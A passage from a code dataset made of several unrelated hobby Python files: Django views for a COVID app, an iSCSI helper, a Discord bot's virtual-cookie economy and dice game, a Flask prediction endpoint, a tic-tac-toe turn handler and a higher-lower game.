render(request,'corona/index.html',context=context)\n\ndef news_page(request):\n if request.method == 'POST':\n k = ''\n k = request.POST.get(\"loca\")\n context = {\n 'k': k\n }\n return render(request, 'corona/news_page.html', context=context)\n else:\n k = ''\n context = {\n 'k': k\n }\n return render(request, 'corona/news_page.html', context=context)\n\n\ndef gnews_page(request):\n return render(request,'corona/gnews_page.html')\n\ndef index2(request):\n return render(request,'corona/index2.html')\n\ndef patientjenan_page(request):\n if request.method == 'POST':\n k = ''\n k = request.POST.get(\"loca\")\n context = {\n 'k': k\n }\n return render(request, 'corona/patientjenan_page.html',context=context)\n else:\n k = ''\n context = {\n 'k': k\n }\n return render(request, 'corona/patientjenan_page.html',context=context)\n\n\ndef junsu(request):\n return HttpResponse(junsu(1))\n\ndef get_gps(request):\n return render(request,'corona/gps.js')\n\ndef covidpatient(request):\n return HttpResponse(GetPatientRoute())\n\ndef get_location(request,user_lng,user_lat):\n return HttpResponse(get_gps_value(user_lng,user_lat))\n\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.utils import timezone\nfrom django.urls import reverse\nfrom django.core.paginator import Paginator\nfrom .models import Board\n\ndef index1(request):\n all_boards = Board.objects.all().order_by(\"-pub_date\") # 모든 데이터 조회, 내림차순(-표시) 조회\n paginator = Paginator(all_boards, 5)\n page = int(request.GET.get('page', 1))\n board_list = paginator.get_page(page)\n\n return render(request, 'corona/index1.html', {'title': 'Board List', 'board_list': board_list})\n\ndef detail(request, board_id):\n board = Board.objects.get(id=board_id)\n return render(request, 'corona/detail.html', {'board': board})\n\ndef write(request):\n return render(request, 'corona/write.html')\n\ndef write_board(request):\n b = Board(title=request.POST.get('title'), content=request.POST.get('detail'), author=\"choi\", pub_date=timezone.now())\n b.save()\n return HttpResponseRedirect(reverse('index1'))\n\ndef create_reply(request, board_id):\n b = Board.objects.get(id = board_id)\n b.reply_set.create(comment=request.POST['comment'], rep_date=timezone.now())\n return HttpResponseRedirect(reverse('detail', args=(board_id,)))\n\n\ndef some_function():\n messages.add_message( messages.INFO, '정보를 나타냅니다.')\n\n # 축약된 방법\n messages.info('정보를 나타냅니다.')\n\n","repo_name":"alteravenues/Corona_korea_keep-distance","sub_path":"Corona_korea_keep-distance-main/server/testsite/corona/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33884749814","text":"import socket\n\n\ndef resolve_hostname(target_portal):\n \"\"\"\n Try to lookup the ip of the of the hostname in target_portal.\n\n Thin wrapper around the socket module's gethostbyname function.\n\n :param target_portal: a string, in the format \"hostname:port\"\n\n :returns: \"host_ip:port\" or \"hostname:port\" if lookup fails\n \"\"\"\n hostname, port = target_portal.split(':')\n try:\n host_ip = socket.gethostbyname(hostname)\n except socket.gaierror:\n # this host can't resolve, just pass the name through\n return target_portal\n return ':'.join((host_ip, port))\n\n\ndef initialize_connection(client, volume_id, connector):\n ip = connector.get('ip', None)\n resp = client.exports.create(volume_id, ip=ip)\n if '.' in resp.body['target_portal']:\n target_portal = resp.body['target_portal']\n else:\n # iscsiadm has trouble with /etc/hosts entries\n target_portal = resolve_hostname(resp.body['target_portal'])\n return {\n 'driver_volume_type': 'iscsi',\n 'data': {\n 'target_discovered': False,\n 'target_iqn': resp.body['target_name'],\n 'target_portal': target_portal,\n 'volume_id': volume_id,\n }\n }\n\n\n","repo_name":"rackerlabs/lunrdriver","sub_path":"lunrdriver/driver/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"13099469421","text":"from taiiwobot import Plugin\nimport math\nimport time\nimport random\nimport base64\nimport asyncio\n\n\nclass Cookies(Plugin):\n def __init__(self, bot):\n self.bot = bot\n self.db = self.bot.util.get_db()[\"cookies\"]\n stock = [\n # emoji, description, price\n [\"🥛\", \"Milk\", 5, \"FFFFFF\"],\n [\"🥞\", \"Blueberry Pancakes\", 20, \"5859E0\"],\n [\"🥓\", \"Bacon\", 15, \"CF5F18\"],\n [\"🥩\", \"Steak\", 30, \"683618\"],\n [\"🥗\", \"Salad\", 10, \"83ce89\"],\n [\"🍜\", \"Ramen\", 15, \"fee379\"],\n [\"🍚\", \"Rice\", 12, \"fffdd9\"],\n [\"🧁\", \"Cupcake\", 15, \"F0A0AE\"],\n [\"🍩\", \"Doughnut\", 15, \"966c4c\"],\n [\"🍵\", \"Green Tea\", 3, \"BAD80A\"],\n [\"☕\", \"Coffee\", 5, \"99643C\"],\n [\"🍶\", \"Sake\", 10, \"eae6d2\"],\n ]\n self.stock = stock\n self.cross_png = base64.decodestring(\n b\"iVBORw0KGgoAAAANSUhEUgAAAA8AAAAPBAMAAADJ+Ih5AAAAG1BMVEVHcEzdLkTdLkTdLkTdLkTdLkTdLkTdLkTdLkSk3kMyAAAACHRSTlMAHdvcF1I6OV1IEpIAAABdSURBVAjXNc0xDoAwCAXQz6Bz056gi/YIjI2me0fP08Ue2w8qC+EFPlgqWA24MruUjnMEII4K0UwwTiNEU9LuQJoOwDpv74ifSNnUd3iSjCzDsnDYlJj8/tKO//sD7u0O9OvZ4HcAAAAASUVORK5CYII=\"\n )\n self.cookie_png = base64.decodestring(\n b\"iVBORw0KGgoAAAANSUhEUgAAAA8AAAAPCAMAAAAMCGV4AAAAVFBMVEXboITboITboITboITboITboITboIRHcEzboITboITboITboITboITboITboITboITboITZnoLEiW/XnICkaFLRlnu1emK+g2rLkHaWWEKNTDeTUz4PnvnzAAAAEXRSTlP/KbtPZ1lAAHIzBxbM18Wl5ZgtcSsAAACHSURBVAjXLY8JDoUwCESndte/QV2q3v+eH6gklHmBMBRZo5YQ0qwKkvEFCXq7wVEJfDYU5Yq1aZsJ8MITCNvebOg3o2o9LrYVSCgm9k3L2oIwW4/vQ96CSNeqvJ9svBCPXRYV+fvIJrYf8XOmO+jYUPU+ceh315Ew7vd6EjCl5z85u1D8YuoP8/AGR+6gjvEAAAAASUVORK5CYII=\"\n )\n self.interface = bot.util.Interface(\n \"cookie\", # plugin name\n \"CookiEconomy plugin\", # plugin description\n [],\n self.some_func, # main function\n subcommands=[ # list of subcommands\n bot.util.Subcommand(\n \"balance\", # invoked with $template sub <args/flags>\n # subcommand description\n \"Check your cookie balance. Args: [uid]\",\n [],\n self.balance, # subcommand function\n ),\n bot.util.Subcommand(\n \"summon\", # invoked with $template sub <args/flags>\n # subcommand description\n \"Summons a cookie, for testing and displays of admin dominance\",\n [],\n self.summon, # subcommand function\n ),\n bot.util.Subcommand(\n \"drop\", # invoked with $template sub <args/flags>\n \"Drops one of your cookies into the channel\", # subcommand description\n [],\n self.drop, # subcommand function\n ),\n bot.util.Subcommand(\n \"shop\", # invoked with $template sub <args/flags>\n \"Opens the cookie shop\", # subcommand description\n [],\n self.shop, # subcommand function\n ),\n bot.util.Subcommand(\n \"give\", # invoked with $template sub <args/flags>\n \"Pay someone in cookie. Args: <@recipient> <amount>\", # subcommand description\n [],\n self.give, # subcommand function\n ),\n bot.util.Subcommand(\n \"test\", # invoked with $template sub <args/flags>\n \"Test the new cookie drop method\", # subcommand description\n [],\n self.test, # subcommand function\n ),\n bot.util.Subcommand(\n \"lunchbox\", # invoked with $template sub <args/flags>\n \"Check the contents of your lunchbox\", # subcommand description\n [],\n self.lunchbox, # subcommand function\n ),\n bot.util.Subcommand(\n \"offer\",\n \"Offer to trade a number of cookies for something out of someone's lunchbox. Args: <target>\",\n [\n \"i item The name of the item you wish to trade for 1\",\n \"a amount The amount of cookies you are willing to trade 1\",\n \"c confirm Skip the confirmation before the trade offer 0\",\n ],\n self.offer,\n ),\n bot.util.Subcommand(\n \"dice\",\n \"Gamble your cookies in a dice game! Args: <amount>\",\n [\n \"p payout Desired payout multiplier 1\",\n \"u under The goal to roll under 1\",\n \"o over The goal to roll over 1\",\n ],\n self.dice,\n ),\n ],\n ).listen() # sets the on message callbacks and parses messages\n\n @bot.on(\"message\", self.name)\n def spawn_cookie(message):\n if message.content and (\n message.content[0] == \"$\"\n or message.author == self.bot.server.me()\n or message.raw_message.author.bot\n ):\n return False\n roll = random.randint(0, 819200)\n if roll < 1:\n self.bot.msg(\n message.target,\n \"A Steak appeared\",\n reactions=((\"🥩\", self.collect_item),),\n delete_after=60,\n )\n elif roll < 2:\n self.bot.msg(\n message.target,\n \"Some Blueberry Pancakes appeared\",\n reactions=((\"🥞\", self.collect_item),),\n delete_after=60,\n )\n elif roll < 4:\n self.bot.msg(\n message.target,\n \"A Doughnut appeared\",\n reactions=((\"🍩\", self.collect_item),),\n delete_after=60,\n )\n elif roll < 8:\n self.bot.msg(\n message.target,\n \"A Cupcake appeared\",\n reactions=((\"🧁\", self.collect_item),),\n delete_after=60,\n )\n elif roll < 16:\n self.bot.msg(\n message.target,\n \"Some Ramen appeared\",\n reactions=((\"🍜\", self.collect_item),),\n delete_after=60,\n )\n elif roll < 32:\n self.bot.msg(\n message.target,\n \"Some Bacon appeared\",\n reactions=((\"🥓\", self.collect_item),),\n delete_after=60,\n )\n elif roll < 64:\n self.bot.msg(\n message.target,\n \"Some Rice appeared\",\n reactions=((\"🍚\", self.collect_item),),\n delete_after=60,\n )\n elif roll < 128:\n self.bot.msg(\n message.target,\n \"Some Sake appeared\",\n reactions=((\"🍶\", self.collect_item),),\n delete_after=60,\n )\n elif roll < 256:\n self.bot.msg(\n message.target,\n \"A Salad appeared\",\n reactions=((\"🥗\", self.collect_item),),\n delete_after=60,\n )\n elif roll < 512:\n self.bot.msg(\n message.target,\n \"A Coffee appeared\",\n reactions=((\"☕\", self.collect_item),),\n delete_after=60,\n )\n elif roll < 1024:\n self.bot.msg(\n message.target,\n \"Some Milk appeared\",\n reactions=((\"🥛\", self.collect_item),),\n delete_after=60,\n )\n elif roll < 2048:\n self.bot.msg(\n message.target,\n \"Some Green Tea appeared\",\n reactions=((\"🍵\", self.collect_item),),\n delete_after=60,\n )\n elif roll < 8192:\n # cookie\n self.bot.msg(\n message.target,\n \"A cookie appeared\",\n reactions=((\"🍪\", self.collect_cookie),),\n delete_after=60,\n )\n\n class User:\n def __init__(self, user_id, db=self.db, init=False):\n \"\"\"Object that represents a cookie-having user\n\n Args:\n user_id (int): user_id of user\n db (MongoClient, optional): The mongodb instance to reference. Defaults to self.db.\n init (bool, optional): Should we init the user if not exists?. Defaults to False.\n\n Returns:\n [type]: [description]\n \"\"\"\n self.id = user_id\n self.db = db\n self.db_user = self.db.find_one({\"user\": self.id})\n if not self.db_user:\n if init:\n self.init()\n else:\n return None\n\n def init(self, cookies=0):\n cookies = cookies or 0\n if not self.db_user:\n self.db_user = {\"user\": self.id, \"cookies\": cookies}\n self.db.insert_one(self.db_user)\n\n def cookies(self):\n \"\"\"Returns the number of cookies this user has\n\n Returns:\n int: Number of cookies\n \"\"\"\n if self.db_user:\n return self.db_user[\"cookies\"]\n else:\n return 0\n\n def inc_cookies(self, inc: int):\n \"\"\"Increment the user's cookies by a set amount\n\n Args:\n inc (int): The number of cookies to increment. Can be positive\n\n Raises:\n Exception: Function cannot be used to lower a user below 0 cookies\n \"\"\"\n # init user with inc cookies if not exists\n if not self.db_user:\n if inc >= 0:\n self.init(cookies=inc)\n return\n else:\n raise Exception(\n \"New user can't have negative cookies!\")\n\n # increment the cookies\n if self.db_user[\"cookies\"] + inc >= 0:\n self.db_user[\"cookies\"] += inc\n self.update()\n else:\n raise Exception(\n \"Existing user cannot have negative cookies!\")\n\n def add_item(self, item: str, quantity=1):\n \"\"\"Gives the user an item\n\n Args:\n item (str): The emoji of the desired item\n quantity (int, optional): The amount of item to give. Defaults to 1.\n \"\"\"\n if \"items\" not in self.db_user:\n self.db_user[\"items\"] = {}\n if item[1] in self.db_user[\"items\"]:\n self.db_user[\"items\"][item[1]] += quantity\n else:\n self.db_user[\"items\"][item[1]] = quantity\n if self.db_user[\"items\"][item[1]] <= 0:\n del self.db_user[\"items\"][item[1]]\n self.update()\n\n def get_items(self):\n \"\"\"Returns the items the user owns\n\n Returns:\n Dict: List of items the user owns\n \"\"\"\n return self.db_user[\"items\"]\n\n def update(self):\n \"\"\"Apply updates to self.db_user to the database\n \"\"\"\n self.db.update({\"user\": self.id}, {\"$set\": self.db_user})\n\n def consume(self, emoji, context):\n \"\"\"Consumes the target emoji, handing inventory and applying effects\n\n Args:\n emoji (str): The emoji to apply\n context (Message): Some message object to use as context\n \"\"\"\n if (\n bot.server.type == \"discord\"\n and context.guild.me.guild_permissions.manage_roles\n ):\n import discord\n\n async def main():\n item_a = [i for i in stock if i[0] == emoji][0]\n roles = [\n r for r in context.guild.roles if r.name == item_a[1]]\n if roles:\n role = roles[0]\n else:\n role = await context.guild.create_role(\n name=item_a[1],\n colour=discord.Colour(int(item_a[3], 16)),\n )\n\n if not \"roles\" in self.db_user:\n self.db_user[\"roles\"] = []\n # update the user object\n self.db_user[\"roles\"].append(\n {\n \"role_id\": role.id,\n \"end\": time.time() + item_a[2] * 60 * 60 * 24,\n \"server\": context.guild.id,\n }\n )\n if self.db_user[\"items\"][item_a[1]] > 1:\n self.db_user[\"items\"][item_a[1]] -= 1\n else:\n del self.db_user[\"items\"][item_a[1]]\n\n print(self.db_user)\n self.update()\n # give the user the role\n print(role)\n await context.author.add_roles(role)\n # wait until the role expires\n await asyncio.sleep(item_a[2] * 60 * 60 * 24)\n # remove the role\n await context.author.remove_roles(role)\n\n bot.server.gaysyncio(\n [\n [main, tuple(), {}],\n ]\n )\n\n self.User = User\n\n async def remove_role(uid, role):\n server = self.bot.server.client.get_guild(role[\"server\"])\n role_obj = server.get_role(role[\"role_id\"])\n if not role_obj:\n print(\"broken user: \" + str(uid) + str(role))\n member = server.get_member(uid)\n if member:\n print(\"removing role for \" + member.name)\n await member.remove_roles(role_obj)\n\n self.db.update(\n {\"user\": uid},\n {\"$pull\": {\"roles\": role}},\n )\n\n # set up the coroutines to remove expired roles\n for user in self.db.find({\"roles\": {\"$exists\": True}}):\n if self.bot.server.type == \"discord\":\n for role in user[\"roles\"]:\n self.bot.server.gaysyncio(\n [\n [asyncio.sleep, (role[\"end\"] - time.time(),), {}],\n [remove_role, (user[\"user\"], role), {}],\n ]\n )\n\n # flags are parsed and passed to the assigned function like so:\n # *args catches all uncaught command arguments as an array.\n def some_func(self, message, *args):\n self.bot.msg(\n message.target,\n \"You probably meant to use one of the commands. Try $cookie help\",\n follows=message,\n )\n\n def balance(self, message, user_id=False):\n # sends a message to the channel it came from\n user = self.User(int(user_id.strip(\"<@!>\"))\n if user_id else message.author)\n if not user:\n self.bot.msg(message.target,\n \"You have no cookies :(\", follows=message)\n else:\n self.bot.msg(\n message.target,\n \"%s %s cookie%s!\"\n % (\n \"That user has\" if user_id else \"You have\",\n user.cookies(),\n \"s\" if user.cookies() > 1 else \"\",\n ),\n follows=message,\n )\n\n def summon(self, message):\n if message.author == 200329561437765652:\n self.bot.msg(\n message.target,\n \"A cookie appeared\",\n reactions=((\"🍪\", self.collect_cookie),),\n delete_after=60,\n follows=message,\n )\n else:\n self.bot.msg(message.target, \"You can't do that!\")\n\n def test(self, message):\n \"\"\"An example of a method of dropping cookies that makes it harder to automate collection\n\n Args:\n message (Message): message object\n \"\"\"\n user = self.User(message.author)\n if message.author != 200329561437765652:\n self.bot.msg(\n message.target, \"1 cookie removed for being nosey\", follows=message\n )\n user.inc_cookies(-1)\n return\n # if we're on discord and we have emoji perms\n if (\n self.bot.server.type == \"discord\"\n and message.raw_message.guild.me.guild_permissions.manage_emojis\n ):\n def remove_cookie(r): return self.User(\n r[\"reactor\"]).inc_cookies(-1)\n r = [1, 2]\n random.shuffle(r)\n\n async def send_message(r1, r2):\n print(r1, r2)\n self.bot.msg(\n message.target,\n \"A cookie appeared\",\n reactions=(\n (r1, remove_cookie) if r[0] -\n 1 else (r2, self.collect_cookie),\n (r1, remove_cookie) if r[1] -\n 1 else (r2, self.collect_cookie),\n ),\n delete_after=60,\n )\n await asyncio.sleep(1)\n await r1.delete()\n await r2.delete()\n\n # add emojis\n self.bot.server.gaysyncio(\n [\n [\n message.raw_message.guild.create_custom_emoji,\n tuple(),\n {\"name\": \"cookie\" +\n str(r[0]), \"image\": self.cross_png},\n ],\n [asyncio.sleep, (0.5,), {}],\n [\n message.raw_message.guild.create_custom_emoji,\n tuple(),\n {\"name\": \"cookie\" +\n str(r[1]), \"image\": self.cookie_png},\n ],\n [asyncio.sleep, (0.5,), {}],\n [send_message, (\"$0\", \"$2\"), {}],\n ]\n )\n else:\n # not in discord or no perms\n self.bot.msg(\n message.target,\n \"A cookie appeared\",\n reactions=((\"🍪\", self.collect_cookie),),\n delete_after=60,\n )\n\n def drop(self, message):\n try:\n self.User(message.author).inc_cookies(-1)\n except:\n self.bot.msg(\n message.target, \"You have no cookies to drop!\", follows=message\n )\n return\n # dispense cookie\n self.bot.msg(\n message.target,\n \"<@%s> dropped a cookie\" % message.author,\n reactions=((\"🍪\", self.collect_cookie),),\n delete_after=60,\n follows=message,\n )\n\n def shop(self, message):\n self.bot.msg(\n message.target,\n \"Welcome to the cookie shop\\n%s\"\n % \"\\n\".join(\n [\"[%s] %s - %s Cookies\" % (e[0], e[1], e[2])\n for e in self.stock]\n ),\n user=message.author,\n reactions=[[e[0], self.buy] for e in self.stock],\n delete_after=120,\n follows=message,\n )\n\n def buy(self, r):\n product = [a for a in self.stock if a[0] == r[\"emoji\"]][0]\n user = self.User(r[\"reactor\"])\n try:\n user.inc_cookies(-product[2])\n except:\n self.bot.msg(r[\"channel\"], \"You can't afford that!\")\n return False\n user.add_item(product)\n self.bot.msg(\n r[\"channel\"],\n \"%s successfully purchased %s %s\"\n % (self.bot.server.mention(r[\"reactor\"]), product[0], product[1]),\n )\n\n def lunchbox(self, message):\n user = self.User(message.author)\n\n def consume_handler(r):\n user.consume(r[\"emoji\"], message.raw_message)\n self.bot.msg(\n message.target,\n \"%s consumes %s\"\n % (self.bot.server.mention(message.author), r[\"emoji\"]),\n follows=message,\n )\n\n items = [i for i in self.stock if i[1] in user.get_items()]\n\n if not user.db_user[\"items\"]:\n self.bot.msg(message.target, \"Your lunchbox is empty!\")\n else:\n print(items)\n self.bot.msg(\n message.target,\n \"You open your lunchbox:\\n```%s```\\nWould you like to eat/drink something?\"\n % \"\\n\".join(\n [\n \"[%s] %s - %s\" % (i[0], i[1], user.get_items()[i[1]])\n for i in items\n ]\n ),\n reactions=[[i[0], consume_handler] for i in items],\n user=message.author,\n follows=message,\n )\n\n def give(self, message, *args):\n amount = False\n for arg in args:\n if arg.isnumeric():\n amount = int(arg)\n break\n if not amount:\n return self.bot.msg(message.target, \"No amount specified.\", follows=message)\n targets = self.bot.server.get_mentions(message)\n if not targets:\n return self.bot.msg(\n message.target, \"No recipient specified.\", follows=message\n )\n else:\n target = targets[0]\n\n def yes(r):\n try:\n self.User(message.author).inc_cookies(-amount)\n except:\n self.bot.msg(\n message.target,\n \"You don't have enough cookies to do that!\",\n follows=message,\n )\n return\n self.User(target).inc_cookies(amount)\n self.bot.msg(\n message.target,\n \"%s gave %s %s cookies\"\n % (\n self.bot.server.mention(message.author),\n self.bot.server.mention(target),\n amount,\n ),\n follows=message,\n )\n\n self.bot.menu(\n message.target,\n message.author,\n \"Are you sure you want to give %s %s cookies?\"\n % (self.bot.server.mention(target), amount),\n ync=[yes, lambda r: False, lambda r: False],\n delete_after=60,\n )\n\n def dice(self, message, *args, payout=False, under=False, over=False):\n amount = int(args[0])\n if amount <= 0:\n raise self.bot.util.RuntimeError(\n \"Invalid quantity\", message.target, self\n )\n roll = random.randint(1, 100)\n if payout:\n if payout.isnumeric() and int(payout) > 0:\n under = 99 / (int(payout) / 100)\n payout = int(payout) / 100\n else:\n raise self.bot.util.RuntimeError(\n \"Invalid payout quantity\", message.target, self\n )\n elif over:\n if over.isnumeric() and int(over) <= 99 and int(over) > 0:\n under = 100 - int(over)\n payout = 99 / (100 - int(over))\n else:\n raise self.bot.util.RuntimeError(\n \"Invalid over quantity\", message.target, self\n )\n elif under:\n if under.isnumeric() and int(under) <= 99 and int(under) > 0:\n under = int(under)\n payout = 99 / int(under)\n else:\n raise self.bot.util.RuntimeError(\n \"Invalid under quantity\", message.target, self\n )\n if not under or not payout:\n # default\n under = 49\n payout = 2\n self.bot.msg(\n message.target,\n \"You're betting %s cookies on getting %s or %s. If you win, you will win %s cookies. You rolled: %s\"\n % (\n amount,\n 100 - int(under) if over else under,\n \"over\" if over else \"under\",\n math.floor(amount * payout),\n 100 - roll if over else roll,\n ),\n )\n user = self.User(message.author)\n if user.cookies() < amount:\n self.bot.msg(message.target,\n \"You don't have enough cookies to make that bet!\")\n return\n user.inc_cookies(-amount)\n bot = self.User(self.bot.server.me())\n bot.inc_cookies(amount)\n if roll <= under:\n self.bot.msg(\n message.target,\n \"You win %s cookies!\" % (math.floor(amount * payout)),\n )\n user = self.User(message.author)\n user.inc_cookies(math.floor(amount * payout))\n bot = self.User(self.bot.server.me())\n if bot.cookies() - math.floor(amount * payout) <= 0:\n bot.db_user[\"cookies\"] = 0\n bot.update()\n else:\n bot.inc_cookies(-math.floor(amount * payout))\n else:\n self.bot.msg(message.target, \"You lose!\")\n\n def offer(self, message, *args, item=False, amount=False, confirm=False):\n targets = self.bot.server.get_mentions(message)\n if not targets:\n return self.bot.msg(\n message.target, \"No recipient specified.\", follows=message\n )\n else:\n target = self.User(targets[0])\n if amount:\n if isinstance(amount, int) or amount.isnumeric():\n amount = int(amount)\n else:\n return self.bot.msg(\n message.target, \"Amount specified is not a number!\", follows=message\n )\n if item:\n for s in self.stock:\n if s[1] == item:\n item = s\n break\n else:\n return self.bot.msg(\n message.target, \"Unknown item specified.\", follows=message\n )\n if item and amount and confirm:\n\n def trade(r):\n target = self.User(targets[0])\n if (\n item[1] not in target.get_items()\n or target.get_items()[item[1]] <= 0\n ):\n self.bot.msg(message.target, \"Nice try loser\")\n return\n try:\n self.User(message.author).inc_cookies(-amount)\n except:\n self.bot.msg(\n message.target,\n \"You don't have enough cookies to do that!\",\n follows=message,\n )\n return\n target = self.User(targets[0])\n target.inc_cookies(amount)\n target.add_item(item, quantity=-1)\n self.User(message.author).add_item(item)\n self.bot.msg(\n message.target,\n \"%s traded %s cookies with %s for %s\"\n % (\n self.bot.server.mention(message.author),\n amount,\n self.bot.server.mention(target.id),\n item[1],\n ),\n follows=message,\n )\n\n self.bot.menu(\n message.target,\n target.id,\n \"%s has offered %s %s cookies in exchange for %s %s. Do you accept?\"\n % (\n self.bot.server.mention(message.author),\n self.bot.server.mention(target.id),\n amount,\n item[0],\n item[1],\n ),\n ync=[trade, lambda n: False, lambda c: False],\n )\n elif amount:\n self.bot.menu(\n message.target,\n message.author,\n \"Are you sure you wish to offer %s cookies to %s in exchange for %s\"\n % (amount, self.bot.server.mention(target.id), item[1]),\n ync=[\n lambda y: self.offer(\n message, item=item[1], amount=amount, confirm=True\n ),\n lambda n: False,\n lambda c: False,\n ],\n )\n elif item:\n self.bot.prompt(\n message.target,\n message.author,\n \"How many cookies would you like to offer?\",\n lambda m: self.offer(\n message, item=item[1], amount=m.content, confirm=confirm\n ),\n )\n else:\n answers = []\n\n def a(i):\n return lambda r: self.offer(\n message, item=i, amount=amount, confirm=confirm\n )\n\n for item in target.get_items():\n if target.get_items()[item] >= 1:\n for s in self.stock:\n if s[1] == item:\n answers.append([s[0], s[1], a(item)])\n self.bot.menu(\n message.target,\n message.author,\n \"Which item would you like to make an offer for?\",\n answers=answers,\n )\n\n def collect_cookie(self, r):\n if r[\"reactor\"] == self.bot.server.me():\n return\n user = self.User(r[\"reactor\"])\n self.bot.msg(\n r[\"channel\"],\n \"Cookie collected by %s\" % self.bot.server.mention(r[\"reactor\"]),\n )\n del self.bot.server.reaction_callbacks[r[\"message\"]]\n user.inc_cookies(1)\n\n def collect_item(self, r):\n if r[\"reactor\"] == self.bot.server.me():\n return\n del self.bot.server.reaction_callbacks[r[\"message\"]]\n user = self.User(r[\"reactor\"])\n\n for item in self.stock:\n if not r[\"emoji\"] == item[0]:\n continue\n self.bot.msg(\n r[\"channel\"],\n \"%s collected by %s\" % (\n item[1], self.bot.server.mention(r[\"reactor\"])),\n )\n return user.add_item(item)\n","repo_name":"Taiiwo/TaiiwoBot","sub_path":"plugins/cookies.py","file_name":"cookies.py","file_ext":"py","file_size_in_byte":31583,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"30701406508","text":"import flask\nimport tf_utils as tfu\n\ndef get_response(predictions):\n votesForInTram = sum(predictions)\n isIntram = votesForInTram > (len(predictions) * 0.5)\n certainty = votesForInTram / len(predictions)\n return {\n 'isInTram': True if isIntram else False,\n 'certainty': certainty if isIntram else 1 - certainty,\n }\n\ndef predict_with(selected_predictor):\n data = {\"success\": False}\n\n if flask.request.method == \"POST\":\n json = flask.request.get_json()\n if json != None:\n preds = []\n for data_row in json:\n model_input = tfu.get_example_from(data_row).SerializeToString()\n\n output_dict = selected_predictor({\"inputs\": [model_input]})\n outScore, inTramScore = output_dict['scores'][0]\n\n preds.append(inTramScore)\n\n data = get_response(preds)\n print(data)\n return flask.jsonify(data)\n else:\n data['error'] = 'no json'\n else:\n data['error'] = 'unsupported method'\n return flask.jsonify(data)","repo_name":"kpilcicki/problem-workshop-net-poc","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32252495309","text":"from collections import deque\nfrom django.http import HttpResponse\nfrom tic_tac_toe_backend.Providers.PowerUpProvider.spread_fire import spread_fire\nfrom tic_tac_toe_backend.Providers.PowerUpProvider.add_fire import add_fire\nfrom tic_tac_toe_backend.Providers.PowerUpProvider.destroy_move import destroy_move\n\nfrom tic_tac_toe_backend.cache_models.win import Win\n\n\nclass TurnModel:\n def __init__(self, lobby, new_power_up_use, new_move, win):\n\n self.game_status = lobby[\"gameStatus\"]\n self.players = lobby[\"players\"]\n self.board = lobby[\"board\"]\n\n self.last_turn_player = self.game_status[\"whoTurn\"]\n self.new_power_up_use = new_power_up_use\n self.new_move = new_move\n self.win = win\n\n def validate(self, received_game_status):\n if received_game_status[\"whoTurn\"] != self.players[-1][\"playerId\"]:\n return HttpResponse(\"Not your turn!\", status=404)\n\n def add_to_inv(self, power_up):\n if power_up:\n self.players[-1][\"inventory\"].append(power_up)\n\n def rotate(self):\n # queue turn order rotation\n rotated_player = self.players.pop()\n self.players = [rotated_player] + self.players\n\n next_turn_player_id = self.players[-1][\"playerId\"]\n # set next persons turn in rotation\n self.game_status[\"whoTurn\"] = next_turn_player_id\n\n def handle_winner(self):\n winner = self.win.get(\"whoWon\")\n winning_moves = self.win.get(\"winningMoves\")\n win_type = self.win.get(\"type\")\n if winner:\n win = Win(\n who_won=winner, type=win_type, winning_moves=winning_moves\n ).to_dict()\n self.game_status[\"win\"] = win\n\n def is_move(self):\n return len(self.new_power_up_use[\"selectedPowerUpTiles\"]) == 0\n\n def make_move(self):\n self.board[\"moves\"].append(self.new_move)\n\n def use_power(self):\n is_arrow = self.new_power_up_use[\"powerUp\"][\"name\"] == \"arrow\"\n is_cleave = self.new_power_up_use[\"powerUp\"][\"name\"] == \"cleave\"\n is_bomb = self.new_power_up_use[\"powerUp\"][\"name\"] == \"bomb\"\n is_destroying_power = is_arrow or is_cleave or is_bomb\n if is_destroying_power:\n destroy_move(self.new_power_up_use, self.board, self.game_status)\n\n is_new_fire_placement = self.new_power_up_use[\"powerUp\"][\"name\"] == \"fire\"\n if is_new_fire_placement:\n add_fire(\n self.new_power_up_use,\n self.last_turn_player,\n self.board,\n self.game_status,\n )\n\n def make_move_or_use_power(self):\n if self.is_move():\n self.make_move()\n else:\n self.use_power()\n\n self.game_status[\"newPowerUpUse\"] = self.new_power_up_use\n self.game_status[\"newMove\"] = self.new_move\n\n def handle_fire_spread(self):\n fire_tiles_exist = len(self.game_status[\"fireTiles\"]) > 0\n if fire_tiles_exist:\n spread_fire(self.game_status, self.last_turn_player, self.board)\n\n def handle_tie(self):\n board_size = self.board[\"size\"]\n tile_amount = board_size * board_size\n amount_of_moves_made = len(self.board[\"moves\"])\n \n no_open_tiles = amount_of_moves_made == tile_amount\n winner = self.win.get(\"whoWon\")\n if no_open_tiles and not winner:\n win = Win(who_won=\"tie\", type=\"tie\").to_dict()\n self.game_status[\"win\"] = win\n","repo_name":"JBrown9124/Tic-Tac-Toe-Royale","sub_path":"server/tic_tac_toe_backend/cache_models/view_models/turn.py","file_name":"turn.py","file_ext":"py","file_size_in_byte":3465,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"24792729956","text":"import random\nfrom game_data import data\nfrom art import logo, vs\n\nscore = 0\n\n# first person\nfirst_index = random.randint(0, 49)\nfirst_data = data[first_index]\n\nwhile True:\n #second person\n second_index = random.randint(0, 49)\n while first_index == second_index:\n second_index = random.randint(0, 49)\n second_data = data[second_index]\n\n print(logo)\n\n if score > 0:\n print(f\"You're right! Current score: {score}.\")\n\n print(f\"Compare A: {first_data['name']}, a {first_data['description']}, from {first_data['country']}.\")\n print(vs)\n print(f\"Against A: {second_data['name']}, a {second_data['description']}, from {second_data['country']}.\")\n\n answer = input(\"Who has more followers? Type 'A' or 'B': \").lower()\n\n if answer == 'a' and first_data['follower_count'] < second_data['follower_count']:\n break\n elif answer == 'b' and second_data['follower_count'] < first_data['follower_count']:\n break\n \n score += 1\n\n #The second person becomes the first person\n first_data = second_data\n first_index = second_index\n\nprint(logo)\nprint(f\"Sorry that's wrong. Final score: 